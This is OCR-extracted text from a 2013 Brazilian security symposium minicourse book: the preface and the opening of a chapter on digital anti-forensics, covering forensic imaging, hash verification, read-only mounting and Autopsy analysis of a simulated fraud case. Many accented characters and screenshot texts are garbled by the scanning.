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Mensagem da Coordenadora de Minicursos

O Simposio Brasileiro em Seguranca da Informacdo e de Sistemas
Computacionais (SBSeg) ¢ um evento cientifico promovido anualmente pela Sociedade
Brasileira de Computagdo (SBC), o qual representa o principal férum no pais para a
apresentacdo de pesquisas ¢ atividades relevantes ligadas a seguranga da informagdo e
de sistemas, integrando a comunidade brasileira de pesquisadores e profissionais
atuantes nessa area. Entre as principais atividades técnicas do SBSeg encontram-se os
minicursos, que tém como objetivo a atualizagdo em temas normalmente ndo cobertos
nas grades curriculares e que despertem grande interesse entre académicos e
profissionais. Nesta edi¢do do SBSeg 2013, de um total de 10 submissdes de propostas
de minicursos foram selecionados quatro minicursos, representando assim uma taxa de
aceitagdo de 40%. O Comité de Programa foi composto por 8 pesquisadores para a
elaboragdo das revisdes, sendo cada proposta avaliada por, pelo menos, 3 desses
especialistas.

Este livro retine entdo 4 capitulos produzidos pelos autores das propostas de
minicursos aceitas. O Capitulo 1 apresenta técnicas e recursos antiforense para a
protecao de informagdes sensiveis, mas ndo para ocultar provas e evidéncias de atos
ilicitos; O Capitulo 2, além de introduzir nogdes bésicas das principais linhas de
pesquisa poOs-quantica, apresenta os estudos mais recentes nesta area visando a
melhorias dos esquemas relacionados a tamanhos de chaves, overhead de assinaturas e
criptogramas; O Capitulo 3 aborda a area de Seguranca de Software com uma visao
geral e mostra como adaptar e avaliar as solugdes existentes no contexto de Sistemas
Embarcados; Por fim, o Capitulo 4 descreve os principais desafios e solugdes de
seguranca para prover autenticagao e autorizagao na Internet das Coisas.

Meus sinceros agradecimentos aos membros da Comissdao de Avaliagdo dos
Minicursos do SBSeg 2013 por sua colaboragdo voluntéria e dedicagdo, lembrando que
o sucesso dos minicursos deve ser creditado ao trabalho conjunto desta equipe. Também
gostaria de agradecer aos autores que submeteram suas propostas de minicursos € que
nos motivam a realizar anualmente este evento de interesse, visibilidade e sucesso
crescentes. Finalmente, ndo poderia de deixar de expressar também os meus sinceros
agradecimentos aos coordenadores gerais do SBSeg 2013, Eduardo James Pereira Souto
(UFAM) e Eduardo Luzeiro Feitosa (UFAM) por confiarem a mim a tarefa de conduzir
os minicursos e pela disponibilidade e orientacdes providas ao longo do processo.
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Aproveito esta mensagem para saudar a todos os participantes dos Minicursos do
XII Simpodsio Brasileiro em Seguranca da Informagdo e de Sistemas Computacionais
com os votos de um excelente curso e de uma excelente estadia em Manaus!

Manaus, novembro de 2013.
Rossana Maria de Castro Andrade (Universidade Federal do Ceara)

Coordenadora dos Minicursos do SBSeg 2013
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Capitulo

1

Antiforense Digital: conceitos, técnicas,
ferramentas e estudos de caso

Evandro Della Vecchia™, Daniel Weber*, Avelino Zorzo'

" Pontificia Universidade Catélica do Rio Grande do Sul (PUCRS)
{evandro pereira, avelino.zorzo}@pucrs.br

* Instituto-Geral de Pericias (IGP-RS)
evandro-pereira@igp.rs.gov.br

* Universidade Federal do Rio Grande do Sul (UFRGS)
daniel weber @ufrgs.br

Abstract

Digital anti-forensic can be defined as a set of hiding and removal information methods
in storage devices to protect people and institutions privacy. Several papers and police
reports often describe situations where sensitive information or images are exposed in
public nets, damaging people's reputation or causing losses to institutions. This chapter
presents some anti-forensic techniques and resources to protect sensitive data, not to
hide proofs or evidences of unlawful acts. The study was conducted through
bibliographic review and tests in controlled environments. Our findings indicate that
available resources allow, without major investments, an adequate level of protection.

Resumo

A antiforense digital pode ser definida como um conjunto de métodos de ocultacdo e
remogdo de informagbes em dispositivos de armazenamento, para proteger a
privacidade de pessoas e empresas. Artigos cientificos e relatos policiais registram com
freqiiéncia situagoes onde informacoes ou imagens sigilosas sdo divulgadas em redes
publicas, prejudicando a reputacdo de pessoas ou causando perdas financeiras a
instituicoes. Este capitulo apresenta técnicas e recursos antiforense para a prote¢do de
informagoes sensiveis, ndo para ocultar provas e evidéncias de atos ilicitos. O trabalho
foi desenvolvido através de consultas bibliogrdficas e testes em ambientes controlados.
As conclusées indicam que os recursos disponiveis possibilitam, sem grandes
investimentos, um nivel de protecdo adequado.

2 ©2013 SBC — Soc. Bras. de Computagdo
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1.1 Introducao

A grande migrag¢do de informagdes para o ambiente digital aumentou o potencial de
exposicdo de dados sensiveis, pessoais ou corporativos, aumentando a possibilidade de
seu acesso indevido. Os mesmos recursos tecnologicos desenvolvidos para facilitar a
vida de pessoas e empresas de boa indole colaboram para fragilizar a privacidade e
podem ser explorados por pessoas de md fé. A busca por informagdes para obter
vantagens pessoais (individuos) ou competitivas (empresas) nem sempre € pautada pela
legalidade e ética. Alguns dos acontecimentos que motivaram uma grande preocupagao
com a seguranca da informacdo foram os atentados de 11 de setembro, nos Estados
Unidos da América, fazendo com que o governo americano investisse pesado no
aparelhamento com instrumentos legais para investigar a vida dos cidadaos, em nome
da seguranca coletiva. Muitas vezes, estes instrumentos possibilitam a investigacdo de
maneira discutivel, por exemplo, em junho de 2013 ocorreu o vazamento de
informagdes relacionadas a espionagem americana que ocorria em diversos paises,
incluindo o Brasil.

As técnicas que habilitam a invasdo de privacidade pela recuperacdo de dados
registrados em midias de armazenamento sdao chamadas de forense digital [US-CERT
2008] e, em contrapartida, a antiforense digital define métodos de remogao, ocultagdo
e subversdo de evidéncias com o objetivo de mitigar os resultados de andlises forenses
[Garfinkel 2007].

Problemas decorrentes do uso de dados ndo protegidos de forma eficiente podem
ter diversas origens. A queda de preco e conseqiiente popularizagdo de notebooks,
tablets e outros dispositivos moveis viabilizaram o seu uso por pessoas que véem nestes
equipamentos apenas uma ferramenta de trabalho adicional, € que ndo t€m
discernimento para avaliar o seu potencial de expor informagdes privadas. Uma
pesquisa realizada pelo Ponemon Institute, em maio de 2008, indica o registro de roubo
ou perda de mais de 637.000 notebooks no periodo de um ano, exclusivamente nos
aeroportos dos Estados Unidos [Shah 2008] e, conseqiientemente, os dados pessoais ou
empresariais registrados nas unidades de disco destes equipamentos ficaram expostos.

A criatividade das pessoas com propositos maliciosos nao tem limites. Assim
como notebooks e eventualmente outros tipos de computadores, uma série de outros
recursos tecnoldgicos tem o potencial de vazar informacdes privadas, por descuido ou
por ma intencdo. O conteudo de equipamentos com o acesso 1dgico restrito por senhas
pode ser exposto facilmente, por exemplo, utilizando-se a inicializacdo por CDs de boot
para burlar os mecanismos de protecdo, ou através do espelhamento do conteudo de um
disco para ser analisado em um outro equipamento [Ulbrich e Valle 2004]. Midias de
armazenamento de grande capacidade ou de tamanho reduzido (pendrives, memory
sticks e dispositivos semelhantes) sdo adequadas para copiar e transportar arquivos sem
muito alarde.

E comum verificar em meios de comunicagio noticias relacionadas a situacdes
onde informacdes ou imagens sigilosas sdo divulgadas em redes publicas, segredos
corporativos sdo compartilhados com a concorréncia e o acesso a informacdes
financeiras privadas facilita negécios muito lucrativos. Um exemplo de vazamento de
dados sensiveis ocorrido no Brasil e que resultou em um movimento para aprovacao de

3 ©2013 SBC — Soc. Bras. de Computagdo
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lei que trata de crimes cibernéticos (Lei 12737/2012 — [Presidéncia 2012]) foi o “Caso
Carolina Dieckmann”. Na verdade, muitos outros casos semelhantes ou com maiores

consequéncias vem ocorrendo hd mais tempo, como um caso ocorrido em 2005,
relatado em [G1 2013].

Uma regra fundamental dos projetistas de dispositivos de armazenamento € que
os dados devem ser protegidos. Uma unidade de disco, principal dispositivo de
armazenamento em computadores pessoais, € projetada para evitar perdas e danos
acidentais aos dados. Técnicas como um diretdrio para arquivos reciclados (“lixeira”) e
comandos unerase ou undelete estdao disponiveis na maioria dos sistemas operacionais
para prevenir a perda indesejada de informagdes. A exclusdo de ponteiros (indices) € um
padrdo para agilizar a exclusdo e possibilitar a recuperagdo de um arquivo em disco, €
drivers utilizam técnicas de detec¢do de erros para impedir que uma leitura resulte em
valores incorretos [Hughes et al. 2009].

Todo este esforco € realizado com base no pressuposto de que excluir
informagdes de um computador pode ser um evento ndo usual, entretanto a eficiéncia
destas medidas para proteger e agilizar o acesso de usudrios aos dados pode
transformar-se em vulnerabilidade, quando exploradas por pessoas ndo autorizadas.

Quando um equipamento € roubado, perdido ou descartado, os dados continuam
armazenados nos discos. Mesmo que um usudrio tenha o cuidado de excluir os arquivos
com o comando delete [James 2006], os dados permanecem no equipamento € podem
ser recuperados a partir de diretorios de reciclados (“lixeira”) ou utilizando programas
especificos desenvolvidos com esta finalidade. O mesmo ocorre com o comando format,
utilizado para preparar logicamente um disco para o uso, mas que nao, necessariamente,
realiza destrui¢do alguma de dados.

As técnicas de forense digital utilizam exaustivamente recursos de recuperagao
de arquivos, fragmentos de arquivos ou fragmentos de texto que o proprietario do
equipamento julgava como excluidos. Desta forma, indicios e evidéncias digitais podem
ser obtidos para constituir prova técnica de delitos cometidos. Entretanto, as mesmas
técnicas podem ser usadas para atividades criminosas, expondo informacgdes de
estratégias corporativas ou dados que possam prejudicar um individuo [Garfinkel 2007].
Ou seja, as mesmas técnicas e conhecimentos podem ser utilizados tanto para
investigacdo como para o acesso indevido de dados. O que diferencia um do outro € a
ética dos profissionais da drea de forense digital.

A necessidade de seguranca e privacidade exige procedimentos de exclusdo
(destruicao) confidveis que possam impedir o acesso de dados em discos descartados. A
“esterilizacdo” pode enderecar diferentes niveis dependendo das aplicacdes (por
exemplo, a senha para acesso a um jogo online de um individuo ndo tem a mesma
importincia que o controle de acesso a uma conta bancaria), assim mesmo usuarios
domésticos devem ter acesso a ferramentas que protejam a sua privacidade. Em
[Garfinkel e Shelat 2003] s@o apresentados dados que demonstram que muitas pessoas
vendem (ou doam) seus computadores (ou apenas o disco rigido) sem nenhum, ou com
pouco cuidado de eliminacdo de dados sensiveis. Neste artigo, dois estudantes
compraram 158 discos usados pela Internet, sendo que apenas 129 funcionaram. Destes,
apenas 12 foram “esterilizados” de forma adequada e do restante, foi possivel recuperar
mais de 5.000 nimeros de cartdo de crédito, diversos registros de dados financeiros e

4 ©2013 SBC — Soc. Bras. de Computagdo
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pessoais, inumeros registros de consultas médicas e gigabytes de e-mails pessoais e
pornografia.

Desta forma, o objetivo deste capitulo é mostrar um estudo sobre técnicas e
recursos antiforense aplicdveis em ambientes privados ou corporativos para a prote¢ao
de informacdes sensiveis. Para atingir este objetivo, primeiramente serdo abordados
conceitos de forense digital (Secdo 1.2), apds serdo abordados conceitos sobre
antiforense digital (Secdo 1.3). Na Secdo 1.4 serdo mostradas técnicas aplicadas em
antiforense e exemplos de ferramentas. Para ilustrar os conceitos e técnicas
mencionados, a Secdo 1.5 mostra estudos de caso, a maioria sendo casos reais adaptados
para evitar a identificacdo dos envolvidos. Por fim, a Secao 1.6 aborda as consideragdes
finais.

1.2 Forense Digital

Forense Digital pode ser conceituado como um conjunto de técnicas e procedimentos
que utilizam conhecimento cientifico para coletar, analisar e apresentar evidéncias que
possam ser utilizadas em um tribunal [Nolan et al. 2005]. O termo forense significa
“pertinente 2 lei”. E essencialmente a busca minuciosa de informagdes relativas a
eventos passados especificos para uma investigagdo criminal, embora Forense Digital
(Pericia Digital, além de outros nomes) seja utilizada também em investigacOes
particulares, antes mesmo de se pensar em acionar a policia ou a justiga.

Diversos crimes sdo solucionados através da identificacdo de impressoes
digitais, pegadas, sangue, cabelo ou amostras de fibras. Analises balisticas sao utilizadas
para determinar a posi¢do de um atirador, além da arma de fogo utilizada, e residuos
quimicos encontrados em uma peca de roupa podem identificar o criminoso. A
atividade do perito muitas vezes € fundamental para a coleta de indicios que permitam a
prisdo e condenacdo de criminosos, pois as evidéncias fisicas sdo utilizadas para a
reconstrucdo das circunstincias em que um crime ocorreu, principalmente quando nao
houve testemunhas [Dillon 1999]. O exercicio da Ciéncia Forense estd sustentado por
diferentes dreas do conhecimento, como: Biologia, Quimica, Psiquiatria, Medicina,
Farmacologia, Antropologia, Patologia e, nos ultimos anos, na Computacdo [Eckert
1997].

A pratica da Forense Digital surgiu na década de 1980, em resposta aos
primeiros casos de virus de computador que se espalhavam por redes de comunicagdes
[Slade 2004]. Nos anos seguintes, evoluiu para a investigacdo de casos de distribui¢ao
de material contendo pedofilia e posteriormente no combate a crimes cibernéticos,
quando a popularizacdo do acesso a Internet e o uso de computador pessoal (além de
outros dispositivos eletronicos) como ferramenta de trabalho e meio de armazenamento
criou novas oportunidades para atividades ilegais [Hannan 2004].

Ainda assim a Forense Digital pode ser considerada uma disciplina recente € a
consisténcia de padroes entre a industria e os tribunais ainda € incipiente. Desta forma, a
area ainda busca o reconhecimento como uma atividade cientifica formal. Uma
definicdo de Forense Digital poderia ser: “Disciplina que combina elementos legais e
Ciéncia da Computacdo para coletar e analisar dados de sistemas computacionais, redes,
comunicagoes sem fio e dispositivos de armazenamento de modo que possam constituir
evidéncias admissiveis em um tribunal” [US-CERT 2008].

5 ©2013 SBC — Soc. Bras. de Computagdo
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A Forense Digital ganhou notoriedade nos ultimos anos devido a vdrias agéncias
de investigacdo, oficiais ou privadas, esclarecerem delitos nos quais o computador foi
utilizado para a pratica de crime ou em situagdes onde a tecnologia atuou como meio
auxiliar para atividades ilegais [Steel 2006].

O ciclo dos procedimentos forenses € ilustrado na Figura 1.1. O processo forense
transforma a midia em evidéncia, necessaria para a aplicacdo da lei ou para uso interno
das empresas. A primeira transformacdo ocorre quando os dados coletados sdo
examinados e as informacOes extraidas da midia s3o analisadas por ferramentas
forenses. A segunda, quando a analise dos dados cria informacdes que, processadas,
resultam em evidéncias [Kent et al. 2006].

[ Coleta ] (i [ Exame ] E>[Anélise } E>[RegistroJ
A ]

Midia [‘_J‘> Dados @Informagéo|‘_">Evidéncia

Figura 1.1. Etapas do processo de investigacao forense [Kent et al. 2006] (Traducéo)

Diferente das provas fisicas dos crimes convencionais, comprovacoes
encontradas nas midias magnéticas sdo digitais e podem existir de diversas formas.
Arquivos, fragmentos de logs e outros indicios residentes em uma midia podem ser
relacionados para criar uma evidéncia que indique a ocorréncia de um crime ou auxilie a
identificacdo de um criminoso.

Um dos fatores mais importantes na Forense Digital é a protecdo das provas
obtidas [Brezinski e Killalea 2002]. Uma das atribui¢cbes do perito € garantir que o
equipamento sob andlise e os processos de coleta sejam administrados com cuidado para
garantir que [Lopes et al. 2006], [Mikasey et al. 2001]:

a) Nenhuma evidéncia seja danificada, destruida ou comprometida pelos
procedimentos utilizados para investigar o equipamento;

b) O processo nao crie nenhuma condicdo que possa inviabilizar uma
verificagdo futura;

c) Seja estabelecida (e mantida) uma cadeia de custédia';

d) Caso o equipamento esteja em uso (Live Forensics), o tempo de intervencao
seja 0 menor possivel;

e) Qualquer informacdo obtida, ndo pertinente ao escopo da investigagdo, seja
tratada dentro dos limites éticos e legais, € ndo seja divulgada;

f) Todo o processo deve ser documentado para permitir a sua reproducao.

A Forense Digital pode ser classificada em dois tipos basicos: Live Forensics €
Post-Mortem Forensics [Carvey 2009]. A Live Forensics especifica procedimentos de

' Cadeia de custédia: Procedimento para assegurar validade legal das atividades enquanto uma evidéncia
estiver sob pericia [Lopes et al. 2006].

6 ©2013 SBC — Soc. Bras. de Computagdo



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

investigacdo nao intrusivos, em equipamentos em uso, € analisa informacdes
persistentes (gravadas em dispositivos de armazenamento) e volateis (com tempo de
vida restrito). A Post-Mortem Forensics implica na apreensao de equipamentos para
andlise em laboratdrio e ndo inclui a andlise de dados voldteis, como os gravados em
memoria RAM, que sdo perdidos quando ha a falta de energia [Sutherland et al. 2008]
[US-CERT 2008].

A andlise Post-Mortem inclui procedimentos triviais de busca por documentos,
logs, imagens (fotografias), identificacdo de data e hora de arquivos, analise de trilhas
de uso do computador, recuperagdo de dados excluidos, entre outros [Carvey 2009].

Um resumo das etapas mostradas na Figura 1, utilizando a nomenclatura adotada
por [Kent et al. 2006], serd mostrado a seguir, com o enfoque para analise Post Mortem,
porém pode ser adotada também para Live Forensics, com poucas modificacdes.

Coleta

Nesta etapa ha uma mescla de investigacdo e pericia, pois engloba desde a
identificacdo do material a ser analisado até a copia integral dos dados. Geralmente o
perito ndo esta presente na busca e apreensdo do material questionado (esfera criminal),
ou em uma empresa em que haja suspeita de algum incidente e deseja-se recolher
equipamentos/midias para serem analisadas. Em muitos casos, o perito recebe o
material a ser analisado e ndo tem conhecimento da cena do crime ou do incidente (a
ndo ser quando se trata de uma anélise Live Forensics).

Diante disto, é importante que quem realizar a busca e apreensdo, tenha
conhecimento de equipamentos e midias de informatica, pois atualmente ndo sdo apenas
os computadores que possuem informagdo em formato digital. Existem diversos
modelos, formatos e tamanhos de equipamentos e midias (Figura 1.2) e o
desconhecimento destes pode resultar em uma busca e apreensdo ineficientes
(incompletas). E importante registrar com fotografias (ou video), colocar etiquetas de
identificacdo, lacrar o material apreendido e gerar um relatdrio, reforcando a ideia de
uma forte cadeia de custddia. Apds, o material deve ser encaminhado ao
Instituto/Departamento de Pericia, no caso da esfera criminal, ou aos profissionais
designados, no caso de uma pericia particular.

Figura 1.2. Midias de armazenamento em diversos formatos (Fonte:
http://www.insoonia.com/diferentes-modelos-de-pen-drive/)

Seguindo as melhores praticas, diante das midias o perito deve realizar uma
copia integral das midias, conhecida também como: cOpia bit a bit, raw copy,
duplicacdo forense, entre outros. Trata-se de uma cOpia de todos os bits da midia,
inclusive a area nao alocada pelo sistema de arquivos. Este tipo de cOpia € recomendado
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para que seja possivel recuperar dados excluidos na copia, sem nenhum procedimento
realizado na midia questionada, evitando assim a violagdo da integridade. Ainda para
evitar qualquer alteragdo na midia questionada, deve-se protegé-la contra escrita, seja
através de hardware especifico ou através de software. Um exemplo de hardware com
este fim € o Tableau Forensic FireWire Bridge, mostrado na Figura 1.3. Com este tipo
de equipamento colocado entre a midia questionada e o computador do perito, ha a
garantia de apenas leitura.

Wi Block g

Ay o

Figura 1.3. Equipamento de protecao contra escrita Tableau Forensic FireWire Bridge

Através de software, a prote¢do contra escrita pode ocorrer com a utilizagdo de,
por exemplo, uma distribuicdo do sistema operacional Linux conFigurada por padrao
para ndo montar midias e, quando montar, o perito deve ter o cuidado de monta-la
apenas como leitura. Uma das distribui¢des mais utilizadas e completa para pentest e
forense digital no momento € a BackTrack. Como pode ser visto na Figura 1.4, esta
distribuic@o possui menus especificos para cada finalidade e em cada uma possui
diversas ferramentas.

Applications Places System [>. ] [ SunMay 1, 1:50 PM

% A

“Q BackTrack » Q( Information Gathering

Y Wine

+ Forensics
# Reporting Tools
? Misi

<< back

Figura 1.4. Distribuicao forense BackTrack (Fonte: http:/www.backtrack-
linux.org/screenshots/)
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Existem softwares que simplesmente habilitam/desabilitam um barramento para
escrita. Por exemplo, se uma midia utilizar uma conexao USB, pode-se desabilitar este
barramento para escrita. Na plataforma Windows, pode-se realizar tal controle através
do Editor do Registro (RegEdit.exe), da seguinte maneira: adiciona-se uma chave
denominada  StorageDevicePolicies em HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control, nesta chave adiciona-se uma DWord com o nome
WriteProtect. Para proteger contra escrita basta definir o valor de WriteProtect para 1
(Figura 1.5) e quando desejar-se habilitar a escrita, deve-se definir o valor como 0. Para
facilitar existem interfaces grificas que realizam a operacdo mencionada de forma
simples, com uma interface grafica, como por exemplo, o Thumbscrew (Figura 1.6).

#¥ Editor do Registro =0 (ECH %=
Arquive Editar Exibir Favoritos Ajuda

Winresume Al Nome Tipo Dados

WMI ab) (Padrao) REG_SZ (valor ndo definido)

Sinegeiensbnfices 94 WriteProtect ~ REG_DWORD 0x00000001 (1)
Enum

Hardware Profiles
Services

LastKknownGoodRecovery >

Computador\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies

Figura 1.5. Protecéo contra escrita no barramento USB — Plataforma Windows

Exit
About

Make USB Read Only

Figura 1.6. Utilizacdo do software Thumbscrew

Para a duplicacdo forense, o software mais conhecido é o dd, originario no
Linux, mas existente também para a plataforma Windows. Algumas variantes surgiram
a partir do dd, para facilitar a visualizacdo do andamento da cOpia e outras opgdes que o
dd nao possui. Um exemplo € o dcfldd, mostrado na Figura 1.7. Na Figura € possivel
identificar os pardmetros minimos necessdrios para realizar a copia integral de um
pendrive com capacidade de 2GiB* (if=/dev/sdc), para um arquivo denominado
pen2Gib.dd (of=/media/KINGSTON-8G/pen2GiB.dd). A Figura 1.8 mostra o fim da
copia.

% GibiByte (GiB) é uma unidade de medida para armazenamento eletrdnico de informagio, estabelecida
pela Comissdo Eletrotécnica Internacional (IEC) para designar 2° bytes de informacdo ou de
armazenamento computacional (texto retirado de http://pt.wikipedia.org/wiki/Gibibyte). O GigaByte se
refere a 10° bytes. Portanto a unidade adequada é GiB, embora os fabricantes ainda nio tenham adotado
tal nomenclatura. O mesmo ocorre para KiB, MiB, etc.

9 ©2013 SBC — Soc. Bras. de Computagdo



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

~;_, root@uBuntu: ~

Arquivo Editar Ver Terminal Ajuda
root@ubuntu:~# dcfldd if=/dev/sdc of=/media/KINGSTON-8G/pen2GiB.dd
8448 blocks (264Mb) written. ]

Figura 1.7. Inicio da copia realizada com o dcfldd — Linux
% root@ubuntu: ~

Arquivo Editar Ver Terminal Ajuda

blocks (456Mb) written.

blocks (1926Mb) written.
61472+0 records in
6147240 records out

Figura 1.8. Fim da cépia realizada com o dcfldd — Linux

Para verificar a integridade apos a cOpia, pode-se aplicar um algoritmo de hash,
como por exemplo, o SHA-1, na midia questionada e na copia bit a bit gerada (Figura
1.9). No exemplo, a integridade foi mantida (o mesmo hash foi gerado).

Arquivo Editar Ver Terminal Ajuda
buntu:~# shalsum /dev/sdc

1d25cdf6211e556e71192af6280d775e89d /dev/sdc

dubuntu:~# shalsum /media/KINGSTON-8G/pen2GiB.dd
6ba751d25cdf6211e556e71192af6280d775e89d /media/KINGSTON-8G/pen2GiB.dd

Figura 1.9. Algoritmo SHA-1 aplicado na midia questionada e na cépia gerada
Exame

ApOs realizada a etapa de coleta dos dados, procedimentos de exame podem ser
aplicados. Procedimentos comuns nesta etapa englobam: aplicagdo de filtros, busca de
por palavras-chave, recuperagdo de dados excluidos, entre outros.

Para mostrar tais procedimentos, serd utilizada o software Autopsy [AUTOPSY
2013], que possui a versdo 3 para a plataforma Windows e a versdo 2 para Linux e Mac
OS X. Uma cdpia bit a bit utilizada em aulas da disciplina Pericia Digital na PUCRS
(copia.dd), criada especificamente para simular um possivel crime de estelionato, serd
examinada no ambiente Windows. Também serd mostrado como montar uma cdpia
integral de um pendrive com capacidade de 2GiB no Linux.

Uma das maiores dificuldades para os iniciantes em forense digital ao utilizar o
comando mount no Linux para montar uma copia bia a bit € saber utilizar corretamente
os parametros: loop e offset. Loop deve ser utilizado por se tratar de um arquivo raw
(copia integral) e ndo de uma midia diretamente e offset deve ser utilizado para
especificar onde comega a particdo, pois mount nao reconhece a tabela de particoes
posicionada no comeco do disco.
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Primeiramente, o usudrio deve saber as informacdes da sua copia (realizada na
etapa de coleta). Uma opgao € utilizar o comando sfdisk, conforme mostrado na Figura
1.10.

Arquivo Editar Ver Terminal Ajuda
root@ubuntu:~# sfdisk -luS /media/KINGSTON-8G/pen2GiB.dd
Disco /media/KINGSTON-8G/pen2GiB.dd: ndo foi possivel obter a geometria

Disco /media/KINGSTON-8G/pen2GiB.dd: 244 cilindros, 255 cabecas, 63 setores/trilha
Aviso: a tabela de particoes parece ter sido feita
para Cil/Cab/Set = */48/47 (em vez de 244/255/63)
Para esta listagem sera assumida aquela geometria.
Unidades = setores de 512 bytes, contando a partir de @

Disp Boot Inicio Fim Cils Blocos Id Sistema

/media/KINGSTON-8G/pen26GiB.ddl 3576 3934207 3930632 6 FAT16

inicio: (cil,cab,set) esperado (1,28,5) encontrado (0,56,49)
(cil,cab,set) esperado (1023,47,47) encontrado (975,47,47)

/media/KINGSTON-86G/pen2GiB.dd2 ] - @ 0 Vazia

/media/KINGSTON-8G/pen2GiB.dd3 0 - @ 0 Vazia

/media/KINGSTON-8G/pen2GiB.dd4 0 E @ 0 Vazia

root@ubuntu:~# r

Figura 1.10. Aplicacdo do comando sfdisk sobre a cépia integral pen2GiB.dd

Conforme mostra a Figura, dos quatro espacos reservados para enderecamento,
apenas um foi utilizado, com inicio no setor 3576 e sistema de arquivos FAT16. Para
utilizar o comando mount, deve-se primeiro calcular 3576 * 512 (setor de inicio *
tamanho do setor em bytes), obtendo-se um total de 1.830.912. Outros parametros
importantes sdo os de ndo execuc¢do e somente leitura, para garantir que ndo haverd
modifica¢do no arquivo raw. A Figura 1.11 mostra a execugdo de mount realizada com
sucesso € apOs a navegagao e listagem de conteudo de pen2GiB.dd.

Arquivo Editar Ver Terminal Ajuda

root@ubuntu:~# mount -o loop,ro,noexec,offset=1830912 /media/KINGSTON-8G/pen2GiB.dd /mnt
: cd /mnt

G /mnt# 1s
259-260 confidencial.txt Per?cia Redes III SBSeg 2013-
ads lista.txt P?s - Criptografia e Seguran?a SBSeg 2013

Figura 1.11. Conteudo de pen2GiB.dd visivel pelo sistema de arquivos

O software Autopsy (versao utilizada nos experimentos a seguir: 3.0.6) possui
um ambiente grafico, com diversos filtros prontos e possibilita a busca por palavras-
chave. Um dos filtros € o de documentos recentes, que mostra doze documentos
recentes na Figura 1.12, sendo que o selecionado € um atalho que aponta para o arquivo
Areia.bmp (papel de parede do Windows XP). Outro exemplo de filtro é o das buscas
realizadas em motores de busca, muito util para saber o que o suspeito pesquisou na
Internet, que mostra na Figura 1.13 pesquisas por “acrobat reader download”,
“camouflage download”, entre outros.
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& Caso - Autopsy 306 [ol=]=s
Arquivo Editar Exibir Ferramentas Janela Ajuda
&, Close Case ;f ! Add Data Source |ji, Generate Report ¥ \ a © ~ Keyword Lists - Q
® | A\
Directory Tree | & || Directory Listing | EHEE
& Recent Documents 12 Results
: S —| | Table View
i@ Cookies (33) - =
-Z  Web History (58) Source File Path Name Date/Time gj
i Downloads (0) & _INDOWS.Ink Mo preferred path found Mo preferred path found 2009-04-30 09 (-
O Remenen(d ooV o EERETREN
i ; :s?"w;zia:s(g) & _INDOWS.Ink Mo preferred path found Mo preferred path found 2009-04-30 0
- [fl Devices e -
- Web Search Engine Queries (4) B & primeira msg.Ink C:\Documents and Settings!... primeira msqg.txt 2009-04-30 10:01:56
5 EXIF Melodata () || pata Content | =
-\ Keyword Hits -
- X\ Single Literal Keyword Search (0) | Hex View I String VIEWI Result View
1.0 Ginnle Danilar Evaraccion Sasrrh /0 ~|| Result: 1 of 1 Result
¢ | p— 1 ] »
- . =
Figura 1.12. Autopsy 3.0.6: Filtro por documentos recentes
iy Caso - Autopsy 306 =3 {HoR ()
Arquivo Editar Exibir Ferramentas Janela Ajuda
& Close Case = = Add Data Source 1, Generate Report ¥ ) a € ~ Keyword Lists - Q
Directory Tree ' [=] || Directory Listing I @ E @
& Web Search Engine Queries 4 Results
el o || Table view
@ Cookies (33) -
. & Web History (58) Source File Domain Text Program Name Date Accessed
2 Downloads (0) @ index.dat .google.com.br  acrobat reader download  Internet Explorer
- & Recent Documents (12) — || €@ index.dat google.com.br  camouflage download Internet Explorer
S
== Estalled;rt:g‘azs(g) ‘ @ index.dat winzip download Internet Explorer
- Devices = = -
; @ ) " e index.dat acrobat reader download  Internet Explorer
£ F M
L X Nt () || pata content | =]
-\ Keyword Hits =
- N Single Literal Keyword Search (0) Hex View | String View | Result View [ 24 [
5.0 Ginnle Danlar Evnraceinn Cazrrh /n * || RESUt: 24 of 24 Result &
< | 1 |
-

Figura 1.13. Autopsy 3.0.6: Filtro por buscas em motores de busca

Com relag@o a busca por palavras-chave, o perito pode criar uma lista baseada
ao caso investigado (nome do suspeito, da vitima, endereco, telefone, etc.) e em sua
experiéncia (palavras utilizadas em casos semelhantes ja analisados pelo perito). A
Figura 1.14 mostra uma lista com duas palavras-chave: “Tiburcio” e “falso”. A
primeira, por ser o nome do investigado e a segunda por se tratar de estelionato e pela
experiéncia do perito. O resultado da busca por estas duas palavras-chave € mostrado na
Figura 1.15.
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[ G ~ Keyword Lists
[ Phone Numbers Niane RegEx
[7] 1P Addresses =
2 so
Email Addresses
0 : ITiburcio

[7] URLs

Files Indexed: 12397

Figura 1.14. Autopsy 3.0.6: Busca por palavras-chave

B Caso - Autopsy 306 =3 ol
Arquivo Editar Exibir Ferramentas Janela Ajuda

@ Close Case = = AddData Source [j, Generate Report ¥ A & © ~ Keyword Lists - Q

Directory Listing ‘ B[ E3] =)

— -{ Tiburcio 116 Results
=@ Data Sources f——

L ; Table View

&3 copia.dd
- @ Views L_Source Fil ord Pr
&-[E] Results | Hex view [ string view | Result view | Text View |

=B Extracted Content Matches on page: 1 of 2 Match > Page: 1 of 1 Page [Search Result

# Bookmarks (0)

® Cookies (33) gmail.com\"\u003emim\u003c/spaniuld03e, \u003cspan id\u003d\"_uprc_alexdasilval7l@gma|
00KIES

1.com\"\u003eAlex\u003c/span\ul03e (2)","\u00Zéraquo;\ul02&énbsp;", "certiddes", "Ai va

= ]

& WebHistory (58) , daquele jeito...apliquei as duas... Abrage, Alex 2009/4/30 Tiburcio da Silva \u002
Downloads (0) hellip;", []

& Recent Documents (12) ,"Pescaria.zip”, "120£86794d65£97b",0,"30 de abril de 2009 16:01",0,"",0,0,1]
% Installed Programs (0) . ["120£7c38304bd042",0,0,"13:02", "\ud03cspan id\u003d\"_upro_alexdasilval7l@gmail.co|
Ed Devices Attached (6) \"\u003eRlex da Silva\u003c/span\ul03e”, "\ul02éraquo;\ul02énbsp;", "erro”, "Mano, mand
a Web Search Engine Queries (4) io atqu::.vo de agdes com erro na 2a conta! Agora vai o correto, a senha deo zip é a \
{# EXIF Metadata (0) 002ehellipsvrtl

i : ,"ACOES.zip", "120£7c38304bd042",0,"30 de abril de 2008 13:02",0,"",0,0,1]

=+ “\ Keyword Hits

